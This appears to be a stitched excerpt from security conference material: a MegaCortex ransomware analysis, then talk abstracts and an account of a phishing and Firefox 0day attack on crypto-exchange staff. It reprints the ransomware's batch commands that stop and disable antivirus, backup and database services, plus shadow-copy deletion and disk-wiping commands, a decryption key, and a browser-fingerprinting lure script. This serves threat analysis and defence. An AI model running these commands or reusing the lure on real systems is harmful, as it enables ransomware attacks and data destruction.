net stop MSExchangeMGMT /y
```

```
net stop MSExchangeMTA /y
```

```
net stop MSExchangeSA /y
```

```
net stop MSExchangeSRS /y
```

```
net stop MSOLAP$SQL_2008 /y
```

```
net stop MSOLAP$SYSTEM_BGC /y
```

```
net stop MSOLAP$TPS /y
```

```
net stop MSOLAP$TPSAM /y
```

```
net stop MSSQL$BKPEXEC /y
```

```
net stop MSSQL$ECWDB2 /y
```

```
net stop MSSQL$PRACTICEMGT /y
```

```
net stop MSSQL$PRACTICEBGC /y
```

```
net stop MSSQL$PROFXENGAGEMENT /y
```

```
net stop MSSQL$SBSMONITORING /y
```

```
net stop MSSQL$SHAREPOINT /y
```

```
net stop MSSQL$SQL_2008 /y
```

```
net stop MSSQL$SYSTEM_BGC /y
```

```
net stop MSSQL$TPS /y
```

```
net stop MSSQL$TPSAMA /y
```

```
net stop MSSQL$VAAEMSQL2008R2 /y
```

```
net stop MSSQL$VAAEMSQL2012 /y
```

```
net stop MSSQLFDLauncher /y
```

```
net stop MSSQLFDLauncher$PROFXENGAGEMENT /y
```

```
net stop MSSQLFDLauncher$SBSMONITORING /y
```
net stop MSSQLFDLauncher$SHAREPOINT /y
net stop MSSQLFDLauncher$SQL_2008 /y
net stop MSSQLFDLauncher$SYSTEM_BGC /y
net stop MSSQLFDLauncher$TPS /y
net stop MSSQLServer /y
net stop MSSQLServerADHelper100 /y
net stop MSSQLServerOLAPService /y
net stop MySQL57 /y
net stop ntrtscan /y
net stop OracleClientCache80 /y
net stop P0DVSERVICE /y
net stop POP3Svc /y
net stop ReportServer /y
net stop ReportServer$SQL_2008 /y
net stop ReportServer$SYSTEM_BGC /y
net stop ReportServer$TPS /y
net stop ReportServer$TPSAMA /y
net stop RESvc /y
net stop sacsvr /y
net stop SamSs /y
net stop SAVadminService /y
net stop SAVService /y
net stop SDRSVC /y
net stop SepMasterService /y
net stop ShMonitor /y
net stop Sncinst /y
net stop SncService /y
net stop SMTPSvc /y
net stop SNAC /y
net stop SnptService /y
net stop SophosSs /y
net stop SQLAgent$BKUPEXEC /y
net stop SQLAgent$ECWD2 /y
net stop SQLAgent$PRACTICEBGC /y
net stop SQLAgent$PRACTICEMGT /y
net stop SQLAgent$PROFXENGAGEMENT /y
net stop SQLAgent$SBSMONITORING /y
net stop SQLAgent$SHAREPOINT /y
net stop SQLAgent$SQL_2008 /y
net stop SQLAgent$SYSTEM_BGC /y
net stop SQLAgent$TPS /y
net stop SQLAgent$TPSAMA /y
net stop SQLAgent$VEEAMSQL2008R2 /y
net stop SQLAgent$VEEAMSQL2012 /y
net stop SQLBrowser /y
net stop SQLSafeOLRService /y
net stop SQLSERVERAGENT /y
net stop SQLTELEMETRY /y
net stop SQLTELEMETRY$ECWD2 /y
net stop SQLWriter /y
net stop "Acronis VSS Provider" /y
net stop "Enterprise Client Service" /y
net stop "SQLsafe Backup Service" /y
net stop "SQLsafe Filter Service" /y
net stop "Symantec System Recovery" /y
net stop "Veeam Backup Catalog Data Service" /y
net stop StspSvc /y
net stop svcGenericHost /y
net stop swi_filter /y
net stop swi_service /y
net stop swi_update_64 /y
net stop TmCCSF /y
net stop tmListen /y
net stop TrueKey /y
net stop TrueKeyScheduler /y
net stop TrueKeyServiceHelper /y
net stop UI8Detect /y
net stop VeeamBackupSvc /y
net stop VeeamBrokerSvc /y
net stop VeeamCatalogSvc /y
net stop VeeamCloudSvc /y
net stop VeeamDeploymentService /y
net stop VeeamDeploySvc /y
net stop VeeamEnterpriseManagerSvc /y
net stop VeeamMountSvc /y
net stop VeeamNFSSvc /y
net stop VeeamRESTSvc /y
net stop VeeamTransportSvc /y
net stop W3Svc /y
net stop wbengine /y
net stop WRSVC /y
net stop MSSQL$VEEAMSQL2008R2 /y
net stop SQLAgent$VEEAMSQL2008R2 /y
net stop VeeamHvIntegrationSvc /y
net stop swi_update /y
net stop SQLAgent$CXDB /y
net stop SQLAgent$CITRIX_METAFRAME /y
net stop "SQL Backups" /y
net stop MSSQL$PROD /y
net stop "Zoolz 2 Service" /y
net stop MSSQLServerADHelper /y
net stop SQLAgent$PROD /y
net stop msftesql$PROD /y
net stop NetMsMQActivator /y
net stop EHttpSrv /y
net stop ekrn /y
net stop ESHASRV /y
net stop MSSQL$SOPHOS /y
net stop SQLAgent$SOPHOS /y
net stop AVP /y
net stop klnagent /y
net stop SQLAgent$SOPHOS /y
net stop AVP /y
net stop KAVFSGT /y
net stop KAVFS /y
net stop mfefre /y
net stop mfewc /y
net stop Telemetryserver /y
net stop WdNisSvc /y
net stop WinDefend /y
net stop MsDtsServer130 /y
net stop SSISTELEMETRY130 /y
net stop MSSQLLaunchpad$ITRIS /y
What is Really Happening with MegaCortex

net stop BITS /y
net stop BrokerInfrastructure /y
net stop epag /y
net stop EPIntegrationService /y
net stop EPProtectedService /y
net stop epideline /y
net stop EPSecurityService /y
net stop EPUpdateService /y
net stop TmPfw /y
net stop SentinelAgent /y
net stop SentinelHelperService /y
net stop LogProcessorService /y
net stop SentinelStaticEngine /y

sc config SentinelAgent start= disabled
sc config SentinelHelperService start= disabled
sc config LogProcessorService start= disabled
sc config SentinelStaticEngine start= disabled
sc config TmPfw start= disable
sc config EPSecurityService start= disable
sc config EPUpdateService start= disable
sc config epideline start= disable
sc config EPProtectedService start= disable
sc config EPIntegrationService start= disable
sc config epag start= disable
sc config BITSstart= disabled
sc config BrokerInfrastructurestart= disabled
sc config EPSecurityServicestart= disabled
sc config SQLAgent$SQLEXPRESS start= disabled
sc config MSSQL$SQLEXPRESS start= disabled
sc config klinagent start= disabled
sc config AVP start= disabled
sc config SQLAgent$SOPHOS start= disabled
sc config MSSQL$SOPHOS start= disabled
sc config EhttpSrv start= disabled
sc config eknn start= disabled
sc config ESHASRV start= disabled
sc config NetMsmqActivator start= disabled
sc config msftesql$PROD start= disabled
sc config SQLAgent$PROD start= disabled
sc config MSSQLServerADHelper start= disabled
sc config "Zoolz 2 Service" start= disabled
sc config MSSQL$PROD start= disabled
sc config "SQL Backups" start= disabled
sc config SQLAgent$CITRIX_MEA FRAME start= disabled
sc config "Acronis VSS Provider" start= disabled
sc config "Enterprise Client Service" start= disabled
sc config "SQLsafe Backup Service" start= disabled
sc config "SQLsafe Filter Service" start= disabled
sc config "Symantec System Recovery" start= disabled
sc config "Veeam Backup Catalog Data Service" start= disabled
sc config AcronisAgent start= disabled
sc config AcronisAgent start= disabled
sc config Antivirus start= disabled
sc config ARSM start= disabled
sc config BackupExecAgentAccelerator start= disabled
sc config BackupExecAgentBrowser start= disabled
sc config BackupExecDeviceMediaService start= disabled
sc config BackupExecJobEngine start= disabled
sc config BackupExecManagementService start= disabled
sc config BackupExecRPCService start= disabled
sc config BackupExecVSSProvider start= disabled
sc config bedbg start= disabled
sc config DCAgent start= disabled
sc config ESecurityService start= disabled
sc config EPUpdateService start= disabled
sc config EraserSvc11710 start= disabled
sc config EsgShKernel start= disabled
sc config FA_Scheduler start= disabled
sc config IISAdmin start= disabled
sc config IMAP4Svc start= disabled
sc config macmnsvc start= disabled
sc config masvc start= disabled
sc config MBAMService start= disabled
sc config MBEndpointAgent start= disabled
sc config mfemms start= disabled
sc config MMS start= disabled
sc config mozyprobackup start= disabled
sc config MsDtsServer start= disabled
sc config MsDtsServer100 start= disabled
sc config MsDtsServer110 start= disabled
sc config MSExchangeES start= disabled
sc config MSExchangeIS start= disabled
sc config MSExchangeMGMT start= disabled
sc config MSExchangeMTA start= disabled
sc config MSExchangeSA start= disabled
sc config MSExchangeSRS start= disabled
sc config MSOLAP$SQL_2008 start= disabled
sc config MSOLAP$SYSTEM_BGC start= disabled
sc config MSOLAP$TPS start= disabled
sc config MSOLAP$TPSAMA start= disabled
sc config MSSQL$BUPEXEC start= disabled
sc config MSSQL$ECWDB2 start= disabled
sc config MSSQL$PRACTICEMGT start= disabled
sc config MSSQL$PRACTICEBGC start= disabled
sc config MSSQL$PROFXENGAGEMENT start= disabled
sc config MSSQL$SBSMONITORING start= disabled
sc config MSSQL$SHAREPOINT start= disabled
sc config MSSQL$SQL_2008 start= disabled
sc config MSSQL$SYSTEM_BGC start= disabled
sc config MSSQL$TPS start= disabled
sc config MSSQL$TPSAMA start= disabled
sc config MSSQL$VEEAMSQL2008R2 start= disabled
sc config MSSQL$VEEAMSQL2012 start= disabled
sc config MSSQLFDLauncher start= disabled
sc config MSSQLFDLauncher$PROFXENGAGEMENT start= disabled
sc config MSSQLFDLauncher$SBSMONITORING start= disabled
sc config MSSQLFDLauncher$SHAREPOINT start= disabled
sc config MSSQLFDLauncher$SQL_2008 start= disabled
sc config MSSQLFDLauncher$SYSTEM_BGC start= disabled
sc config MSSQLFDLauncher$TPS start= disabled
sc config MSSQLFDLauncher$TPSAMA start= disabled
sc config MSSQLSERVER start= disabled
sc config MySQLADHelper100 start= disabled
sc config MySQLOLAPService start= disabled
sc config ntrtscan start= disabled
sc config OracleClientCache80 start= disabled
sc config PDVFSservice start= disabled
sc config POP3Svc start= disabled
What is Really Happening with MegaCortex

```bash
sc config ReportServer start= disabled
sc config ReportServer$SQL_2008 start= disabled
sc config ReportServer$SYSTEM_BGC start= disabled
sc config ReportServer$TPS start= disabled
sc config ReportServer$TPSAMA start= disabled
sc config RESvc start= disabled
sc config sacsvr start= disabled
sc config SamSs start= disabled
sc config SAVadminService start= disabled
sc config SAVService start= disabled
sc config EPUpdateService start= disabled
sc config MSSQLLaunchpad$ITRIS start= disabled
sc config SSISTELEMETRY130 start= disabled
sc config MsDtsServer130 start= disabled
sc config SQLTELEMETRY$ITRIS start= disabled
sc config SQLAgent$ITRIS start= disabled
sc config SQLAgent$EPOSERVER start= disabled
sc config MSSQL$ITRIS start= disabled
sc config MSSQL$EPOSERVER start= disabled
sc config MSSQLFDLauncher$ITRIS start= disabled
sc config MCAFEEEVENTPARSERV start= disabled
sc config MCAFEEOMCATSVRSRV530 start= disabled
sc config WNissSvc start= disabled
sc config WinDefend start= disabled
sc config Telemetryserver start= disabled
sc config mfewc start= disabled
sc config mfefer start= disabled
sc config KAVFS start= disabled
sc config KAVFSGT start= disabled
sc config kavfsslip start= disabled
sc config wbengine start= disabled
sc config SDRSVC start= disabled
sc config SepMasterService start= disabled
sc config ShMonitor start= disabled
sc config Smcinst start= disabled
sc config SmcService start= disabled
sc config SMTPSvc start= disabled
sc config SntpService start= disabled
sc config SQLAgent$BKUPEXEC start= disabled
sc config SQLAgent$ECWDB2 start= disabled
sc config SQLAgent$PRACTICEBGC start= disabled
sc config SQLAgent$PRACTICEEMGT start= disabled
sc config SQLAgent$PROFXENGAGEMENT start= disabled
sc config SQLAgent$SBSTMONITORING start= disabled
sc config SQLAgent$SHAREPOINT start= disabled
sc config SQLAgent$SQL start= disabled
sc config SQLAgent$SYSTEM_BGC start= disabled
sc config SQLAgent$TPS start= disabled
sc config SQLAgent$TPSAMA start= disabled
sc config SQLAgent$VEEAMSQL2008R2 start= disabled
sc config SQLAgent$VEEAMSQL2012 start= disabled
sc config SQLBrowser start= disabled
sc config SQLSafeOLRService start= disabled
sc config SQLSERVERAGENT start= disabled
sc config SQLTELEMETRY start= disabled
sc config SQLTELEMETRY$ECWDB2 start= disabled
sc config SQLWriter start= disabled
sc config SstpSvc start= disabled
sc config svcGenericHost start= disabled
sc config swi_filter start= disabled
```
Notice the last line of the script, **winnit.exe** (MegaCortex binary) was executed along with a Base64 encoded key as an argument.

### 3.1 Static Analysis

**WINNIT.EXE METADATA**

<table>
<thead>
<tr>
<th>Field</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>File Name</td>
<td>winnit.exe</td>
</tr>
<tr>
<td>File Size</td>
<td>902,640</td>
</tr>
<tr>
<td>MD5</td>
<td>b6f0d7dbd6e3bdcdbd5bd876fe9b3fc7</td>
</tr>
<tr>
<td>SHA1</td>
<td>aa1e4233b23579c6f9a862c81a3667014cd6ade</td>
</tr>
<tr>
<td>SHA256</td>
<td>57fbf43832b67420ff4b76d89efac4150f48933cf75add56777ae542c7894</td>
</tr>
<tr>
<td>Import Hsh</td>
<td>81da9241b26f498f1f7a1123ab76bb9d</td>
</tr>
<tr>
<td>Compiled Time</td>
<td>Wed May 1 17:16:51 2019 UTC</td>
</tr>
<tr>
<td>File Type</td>
<td>PE32 executable (GUI) Intel 80386, for MS Windows</td>
</tr>
<tr>
<td>Category</td>
<td>Ransomware</td>
</tr>
<tr>
<td>IRIS Name</td>
<td>MegaCortex</td>
</tr>
</tbody>
</table>
PE SECTIONS (5):

<table>
<thead>
<tr>
<th>Name</th>
<th>Size</th>
<th>MD5 Hash</th>
</tr>
</thead>
<tbody>
<tr>
<td>.text</td>
<td>206,336</td>
<td>089b06e57c729640f34c6de1622cae6f</td>
</tr>
<tr>
<td>.rdata</td>
<td>675,840</td>
<td>5ec51793bb18c571c5814df8841f7e86</td>
</tr>
<tr>
<td>.data</td>
<td>4,608</td>
<td>55152f662c583f0354cde942cd46ed</td>
</tr>
<tr>
<td>.rsrc</td>
<td>512</td>
<td>babcd75812a4e853f8251c367ae2737c</td>
</tr>
<tr>
<td>.reloc</td>
<td>11,264</td>
<td>cc2c3d85f8264f75e3c988d82ad2013</td>
</tr>
<tr>
<td>0xdba00</td>
<td>3,056</td>
<td>37e7fe85a9e3729e1acff9c936fd0c (Authenticode Signature)</td>
</tr>
</tbody>
</table>

The binary, winnit.exe, is Microsoft Visual C++ 14 compiled and is observed to be using mbedcrypto which is a portable, easy to use and fast C++ 14 library for cryptography. The sample is also digitally signed to fake authenticity and in an attempt to bypass anti-virus detection.

3.2 Technical Analysis

This version of MegaCortex is designed so that it is not easily reversed and cracked by Reverse Engineers. In fact, it is so heavily protected that some publications missed the detail about MegaCortex actually using two (2) dynamic link libraries (DLL). The two modules are payload.dll and injecthelper.dll, whose names are derived from their PE Metadata.

Prior to decrypting the DLLs, MegaCortex has two requirements that had to be met in order to properly function and continue the execution of its ransomware payload:

1. It must be supplied a base64 encoded key as a command-line argument
2. It must be executed on specific date inside a specific 3hr-time window in order to generate the correct AES secret key.

This two-factor set of requirements made it difficult to successfully reverse engineer MegaCortex.
3.2.1 WINNIT.EXE: ADHERING TO REQUIREMENTS

For the specific binary we analyzed, the requirements are:

<table>
<thead>
<tr>
<th>Requirement</th>
<th>Details</th>
</tr>
</thead>
<tbody>
<tr>
<td>Base64 encoded key</td>
<td>6GHD5bOjPDXgSREoShNoaAVgZnXb1yRwPqg==</td>
</tr>
<tr>
<td>Date and time window of execution</td>
<td>May 4, 2019 11:00:00am to 01:59:59pm (UTC-8)</td>
</tr>
</tbody>
</table>

It should be noted that the analysis machine's time zone was set to (UTC-8:00) Pacific Time (US & Canada) with the option "Automatically adjust clock for Daylight Saving Time" checked. Execution time differs based on the different time zones. For this same sample to properly execute, the date and time window should be adjusted. So, for example, if the same binary were to execute in Osaka (UTC+9), the correct date and time window would be May 5, 2019, from 3:00:00am to 5:59:59am.

If no arguments are supplied to the binary, MegaCortex will just exit the program.

If either of these requirements are not met, MegaCortex will not properly decrypt its payload and subsequently terminate execution.
3.2.2 CRACKING THE SECRET KEY

As mentioned earlier, the MegaCortex binary needs to be provided with the “correct” parameters for execution first, otherwise, it will decrypt incorrectly, and the payload will not continue. Without knowing the correct parameters, attempts at manually decrypting the embedded DLL’s to support reverse engineering can be likened to attempting to crack a hash-generated password protected zip file — which is close to impossible.

The two embedded DLL components are encrypted using MBEDTLS_CIPHER_AES_128_GCM. The supplied base64 encoded key and predefined date-time factor are used to generate the “secret_key”. The steps below detail the process to decipher the embedded DLL components:

1. The Base64 encoded key which is supplied as an argument is decoded
2. MegaCortex gets the time_point object of the running binary, divides it by 36000000000 and further divides that result by 3
3. The result of the previous step is fed to a SHA1 function using the mbedcrypto library to generate a SHA1 hash
4. The generated SHA1 hash is used as a key which is XOR’ed with the decoded Base64 key, decoded in step 1, byte for byte
5. The resultant value is used as a “secret_key” to decrypt-authenticate the AES-128-GCM encrypted data

This decryption procedure will be repeated twice — and if successful, there will be two decrypted DLL modules in memory. Their names — derived from their original compiled names in the export table — are payload.dll and injecthelper.dll with sizes 0x7F400 (521,216) bytes and 0x12FF0 (77,808) bytes respectively.
The DLL *payload.dll*; as the name implies, contains the ransomware payload functions. This module will not be written to the disk and will only be loaded in the memory space of MegaCortex binary (winnit.exe) and later during execution also in the memory space of rundll32.exe.

The DLL *injecthelper.dll*; is used to help inject payload.dll in the memory space of rundll32.exe. This is the module that is observed to being dropped to the disk as either %TEMP%\xdgrwqra or %TEMP%\xdgrwqra.dll. It should be noted that this module file does not contain any ransomware payload routines. Take note that MegaCortex originally uses random_8 character as file name for its components but will be referred to by the filename observed in analysis for consistency.

### 3.2.3 PAYLOAD.DLL: INTO THE BITS AND DETAILS OF THE RANSOMWARE PAYLOAD

Payload.dll has two export functions — “start” and “start2”. The MegaCortex binary calls the export function “start” by mimicking the LoadLibrary() and GetProcAddress() API’s, subsequently getting the function address to be passed and called using a register.

![Figure 8. Payload.dll start() function is called](image)

Payload.dll is solely responsible for the ransomware functionality described in depth below:

**Export #1 — start:**

- Verifies the current process is running with Administrator privilege, if not, execution privilege is elevated by invoking ShellExecuteExA() with “runas”. It should be noted that this will cause a UAC dialogue to pop up which is only dismissed when the user accepts or presses the ‘OK’ button.
- Disables file system redirection of the current thread by calling the wow64DisableWow64FsRedirection() API. This was done to avoid the possibility of being redirected to a missing 32-bit version of the applications that it will need later (e.g. vssadmin.exe and cipher.exe). Example: %WINDIR%\system32 will be redirected to %WINDIR%\SysWOW64 for compatibility purposes.
- Adjusts the token privileges of the current process to enable SeDebugPrivilege for DLL injection
- Deletes the file “C:\xdgrwqra.log” if it exists on the file system
- Gets the number of processors used for multi-threading later

```c
GetSystemInfo(&SystemInfo);
v25 = SystemInfo.dwNumberOfProcessors;
```
• Parses all available disk drives on the infected system
• Makes a list of files to be encrypted by traversing all directories and subdirectories on each available drive
• Excludes files with the following file extensions from the encryption list:

`*.aes128ctr
*.dll
*.exe
*.sys
*.mui
*.tmp
*.link
*.config
*.manifest
*.tib
*.olb
*.bat
*.cmd
*.ps1`

• Skips encrypting its own files “C:\xdgrwqra.tsv” and “C:\xdgrwqra.log” and skips all files located in `%WINDIR%` directory
• Creates a ransom note with filename “!!!READ_ME!!!.txt” in the file system root directory (C:\)

---

**Figure 9. MegaCortex ransom note**

---

• Creates a file in the root directory as `C:\xdgrwqra.tsv` which contains the encrypted session keys of each file it encrypts
• Creates a Named Shared Memory object as “Global\libxdgrwqra”, to share memory contents to its second DLL — injecthelper.dll. The generated list of files targeted for encryption and a copy of payload.dll is also copied to the memory space.
• Drops a copy of injecthelper.dll as `%TEMP%\xdgrwqra.dll`
• Calls the export function `_command@16` of the DLL `%TEMP%\xdgrwqra.dll` using “rundll32.exe” with the following parameters:

```
"\\%WINDIR%\system32\rundll32.exe %\%TEMP%\xdgrwqra.dll,_command@16 Global\libxdgrwqra"
```
Note that the number of worker threads for the "rundll32.exe" process depends on the number of CPU cores available in the infected machine. This can be seen in the image below where the analysis machine was only allocated 2 CPU cores:

![Figure 10. Number of worker threads depends on number of CPU](image)

- Creates another copy of the ransom note as `%DESKTOP%\!!!_READ_ME_!!!.txt`
- Executes `vssadmin.exe` to delete volume shadow copies on all available drives:
  ```
  Example:
  vssadmin.exe delete shadows /all /for=C:\
  ```
- Executes `cipher.exe` to cover its tracks and wipe deleted data from all available drives:
  ```
  Example:
  cipher.exe /w: C:\
  ```
- Re-enables file system redirection by calling `Wow64EnableWow64FsRedirection()`
- Exits the thread

**Export #2 — start2:**

- Deletes `%TEMP%\xdgrwqra.dll`
- Enables `SeDebugPrivilege` for DLL injection
- Encrypts files from the generated list that was copied over from an opened Named Shared Memory region using `mbedtls` library’s `AES-128-CTR` function and adds "aes128ctr" as a file extension to all encrypted files
- Logs its encrypted session keys together with the path of the encrypted file in `C:\xdgrwqra.tsv`
- Logs files currently processing for encryption in the file `C:\xdgrwqra.log`
- Outputs the debug string "success" to the debug console if the shared memory region is opened successfully
- Repeats this encryption procedure for the next file in the list up to a maximum of ten (10) files per worker thread.

### 3.2.4 INJECTHELPER.DLL: IS HERE TO HELP

The multi-threaded file encryption is only possible with the help of `injecthelper.dll` (written to disk as `%TEMP%\xdgrwqra.dll`). Its export function "_command@16" is called by the injected `payload.dll` loaded inside the running process `winnit.exe`.

**Export #1 — _command@16:**

- Opens the Named Shared Memory "Global.libxdrgrwqra" which contains the previously described `payload.dll` in memory along with the generated list of files to be encrypted
- Outputs a debug string "success" to the debug console if the shared memory region is opened successfully
- Loads a copy of `payload.dll` in the memory space of the running process "rundll32.exe"
- Calls the export function "start2" of `payload.dll`
4. Summary of Execution

1. Batch file executes WINNIT.EXE <Base64 key> along with other kill processes and stop services commands
2. WINNIT.EXE accepts a Base64 encoded key as an argument coupled with the extracted date and time of its execution to generate a "secret_key"
3. Using the secret_key; deciphers two of its embedded components in memory using AES-128-GCM — PAYLOAD.DLL & INJECTHELPER.DLL
4. Generates a list of files to encrypt and copies itself to a named shared memory space — "Global\libxdrgrwqra"
5. Drops a copy of INJECTHELPER.DLL as %TEMP%\xdgrwqra.dll
6. Multi-threads file encryption by calling \?\%WINDIR%\system32\rundll32.exe\?\%TEMP%\xdgrwqra.dll_command@16 Global\libxdrgrwqra". This retrieves the value stored in named shared memory space and uses the copy of PAYLOAD.DLL to perform AES-128-CTR encryption on the listed files. "aes128ctr" is added as a file extension to the encrypted files. The number of created RUNDLL32.EXE process depends on the number of CPU available
7. Generates a ransom note in root directory (C:\) and in %DESKTOP% with file name "!!!READ_ME!!!.txt"
8. Deletes volume shadow copies using VSSADMIN.EXE
9. Covers its tracks by wiping deleted data using CIPHER.EXE
5. Conclusion

MegaCortex's unorthodox way of distribution and TTPs really set itself apart from other ransomware. While most crypto ransomware uses phishing emails and exploit kits as a means of distribution, MegaCortex opted for a more targeted approach. With this sophisticated methodology of using a combination of automated and manual components for infection, threat actors behind MegaCortex make sure that the ransomware payload is not only carefully delivered and executed on a target network but is also protected from the prying eyes of Reverse Engineers. This shows that the threat group behind MegaCortex's development should not be taken lightly and are likely to release enhancements and new variants for MegaCortex.

As of this writing, threat actors behind MegaCortex released an upgraded version (v2) that is ready to be used for wide-scale attacks. Quite a few details have changed as I compare its TTPs to this initial version (v1), but that is for another story.

6. File Hashes

MegaCortex winnit.exe:
- 57f8f43012b67420fff45b76d09effac4150f48933cf75add56777ae542c7894

payload.dll (NOT dropped to disk):
- d836bdf53cf712e5c2ebf2d7cb9c796ef91f2480919204d5d4a8d88294d4788a

injecthelper.dll (dropped to disk as %TEMP%\xdgrwqra.dll)
- 3b13962b91b09de3053bb9c7afc31fa0fcd2ca8e2ba9b6953a94ae7afed8ed1

References

[9] https://exchange.xforce.ibmcloud.com/collection/cd386bafcb9c067ebe84f0087f5854d
An Introduction to CTA: Cyber Threat Alliance

Michael Daniel / CTA
Buying, selling and analysing security: Following the money, time and expertise behind a trillion dollar industry

Simon Edwards / SE Labs

Simon Edwards. An IT journalist between 1995 and 2010, Simon worked on the UK’s biggest computer magazine titles. At Dennis Publishing these included titles such as Computer Shopper, PC Pro, Computer Active, Web User, Mac User and IT Pro. Simon’s areas of expertise is anti-malware testing and he was, until the end of 2015, Technical Director of Dennis Technology Labs, an independent security testing business that was part of the Dennis Publishing media company. He then founded SE Labs, which specialises in advanced security testing. He also provides technical advice to a number of specialist security companies. A founder member of the Anti Malware Testing Standards Organization (AMTSO), Simon was chairman of its Board of Directors between 2012 and 2015. He continues to serve on AMTSO’s Board of Directors.
Discretion in APT: Recent APT attack on crypto exchange employees

Heungsoo Kang / LINE

Abstract

This talk is to present overview of the recent APT attack against employees of cryptocurrency exchanges including us. The attack started from email spear phishing, and continued to FireFox 0day exploit, stage1, stage2 malware. As a former antivirus researcher/red teamer and current security team member, I'd like to compare the perspectives of the victim, attacker, and security team.

First, the perspective of the victim. The victim is an experienced blockchain programmer using MacBook and iPhone. Attackers were very discreet on their social engineering scheme. He receives an email to his personal account, a proposal to become a member of review board of a prize. The email was sent through a legitimate university email server and the sender has a nice LinkedIn profile. After some conversation exchange, he receives the university's site link to login with a temporary id/password. He logs in and gets infected.
Second, the perspective of the attackers to prepare the attack. The university has a bold web service that can expose every account in the system. The attackers used an undisclosed method to get access to a few accounts, which allowed access to university’s email account, personal web hosting. They made up a LinkedIn profile and added 100+ connections (we all accept connections from strangers, don’t we?). After preparing these, the attackers hosted HTML page for fake awards and put FF 0day exploit there before starting sending out emails to the set of targets they collected to work for a blockchain exchange.

Third, (shortly) corp security team’s perspective. Where we found the attempt of the attack, where the attackers were good and where they were not.

Lastly, I’ll share other information, such as malware analysis of stage 1,2 and some trivia of their operation like C2 servers, how they evaded the surveillance (which might as well be coincidence), etc. Both malwares are not obfuscated, and stage1 only had 1 detection in VT at the time. Stage2 is QT based RAT, with about 25,000 functions, so I grabbed QT, OpenSSL, etc libraries to generate FLIRT which resulted in 20% of the functions being recognized. The C2 server was hosted by a small VPS service, which accepts Bitcoin for payment.
About this talk

Background
Coinbase announced it’s been attacked by a very sophisticated, highly targeted attack. More details are disclosed in Coinbase blog by Philip Martin (@SecurityGuyPhil). Please refer to following websites:

- https://blog.coinbase.com/responding-to-firefox-0-days-in-the-wild-d9c85a57f15b
- https://twitter.com/SecurityGuyPhil/status/1141466335592869888
- https://objective-see.com/blog/blog_0x43.html

It is not disclosed, but LINE’s employee was on the line of target.

Goal of this talk
The purpose is to share the perspectives of

- The victim (how it looked like to him)
- The attackers (what they had prepared)
- The blue-team (what we could/not see)

And Also to share information about

- Its malwares
- Attackers

Perspective 1 — The victim
A little bit about our victim. He is a very talented & experienced developer around 10 years of career. His devices are iPhone and Macbook Pro. One day, he gets an email via his personal Gmail account from nm603@cam.ac.uk.

---

Adams Prize, Project Analysis and Evaluation

Neil Morris <nm603@cam.ac.uk>
2013/09/24 11:41

Dear Sir,

My name is Neil Morris, I'm one of the Adams Prize Organizers.

Each year we invite the team of independent specialists who could assess the quality of the competing projects: http://people.dss.cam.ac.uk/nm603/awards/adams_prize

Our colleagues have recommended you as an experienced specialist in this field.

We need your assistance in evaluating several projects for Adams Prize.

Looking forward to receiving your reply.

Best regards,
Neil Morris

Neil Morris
Research Grants Administrator at University of Cambridge
nm603@cam.ac.uk
people.dss.cam.ac.uk/nm603/awards/adams_prize
Adams Prize Organizational Committee
The email headers prove that the email actually is sent by Cambridge university (passed SPF, DKIM/DMARK).

The mail sender introduces himself as one of the organizers of Adams Prize and that they are looking for a committee member for their prizes. It has a link url to cam.ac.uk that looks like a normal webpage.

The mail contains a nice signature and another link to LinkedIn profile.

The profile fits email's story (Cambridge university staff) and has more than 100 connections.
Victim talks to “Neil Morris” about the prize and what kind of help they are seeking for. After some email pingpongs, they send the victim a link inside Cambridge server and id/pw to log into it. When victim browses to the URL, it shows a gray window, insisting that this website does not support your browser.

This page has a link to official Firefox download page. The victim downloads newest Firefox, browses into the website which then shows a login page that looks like a Cambridge website.

At this point, the attacker’s machine is compromised by Firefox 0day exploit. The shellcode used “curl” command to download stage 1 malware (osx.netwire variant) without triggering MacOS Gatekeeper.

Fortunately, in our case the attack was stopped here, because we detected the attack with some undisclosable method. And we tried to track the attack afterwards.

For the response, we talked to the victim about what happened and he helped us track the attack. We downloaded stage 2 malware (osx.Mokes variant), but that was as far as we could go.

**Perspective 2 — Attackers**

Next, we look at what really happened. Of course, this is based on assumptions and evidences. First, they should prepare weaponized exploits. They had Firefox 0day exploit of code execution and sandbox escape. They prepared malware programs and it was separated to Stage 1 and 2. They also prepared infrastructure for malware servers, such as C2 servers, server to host malware, server to host exploit, and domain for it (analyticsfit.com). They separated each roles of servers to different virtual-private-server hosting services.

Then, they should have hacked accounts to use for social engineering. They hacked at least 2 accounts from Cambridge — nm603@cam.ac.uk, grh37@cam.ac.uk. The method for hacking accounts is not disclosed. With the university’s account, you can use email, and also a personal web hosting service which mostly is used for describing your academic careers, papers, etc. The address looks like this: hxxp://people.ds.cam.ac.uk/nm603.
Also, they should have prepared fake Cambridge websites to serve on people.ds.cam.ac.uk and add javascript code to detect OS/browser, show the message to use Firefox instead.

The script looks like this:

```javascript
<script>
$(
'iframe-toggle').on('click', function () {
 $(this).toggleClass('fullscreen');
 $(main-iframe).toggleClass('fullscreen');
});

var ua = detect.parsr(navigator.userAgent);
var br = ua.browser.family.toLowerCase();
var os = ua.os.family.toLowerCase();

console.log(br);
console.log(os);

if ( ( br === 'firefox' & os.includes('mac') ) || os.includes('mac') ) {
 $('body').append('<script type=text/javascript src=/script.js></script>');
 $('body').css({
 opacity: 1
 });
} else if ( br !== 'firefox' & os.includes('mac') ) {
 $('modal-overlay').css({
 display: 'block',
 opacity: 1,
 position: 'fixed'
 });
 $('modal-not-supported').css({
 display: 'block',
 opacity: 1
 });
 setTimeout(function(){
 $('body').css({
 opacity: 1
 });
 }, 500);
 }
</script>

And this part is where the website shows fake warning message to use Firefox.

```
</div>
</div>
</div>
</div>
</div>
```

JS will check if user is using Macos + Firefox, and load /script.js if correct.

```
if ( ( br === 'firefox' & os.includes('mac') ) || os.includes('mac') ) {
 $('body').append('<script type=text/javascript src=/script.js></script>');
 $('body').css({
 opacity: 1
 });
}
```

So, naturally people.ds.cam.ac.uk/script.js looks like the main exploit?
But it's not the case.

The packets captured showed that page /script.js never existed. Instead, the exploit was loaded from analyticsfit[.]com from the end of the document.

Also, they would have prepared fake online identities. The hacked accounts are "nm603" and "grh37". So they made up names according to the initial letters of each account. First one became "Neil Morris" when the other became "Gregory Harris". Then they made up a LinkedIn profile and added connection with random people. Lots of LinkedIn users including me just accept connection requests from strangers. Preparing a nice email signature is also recommended.

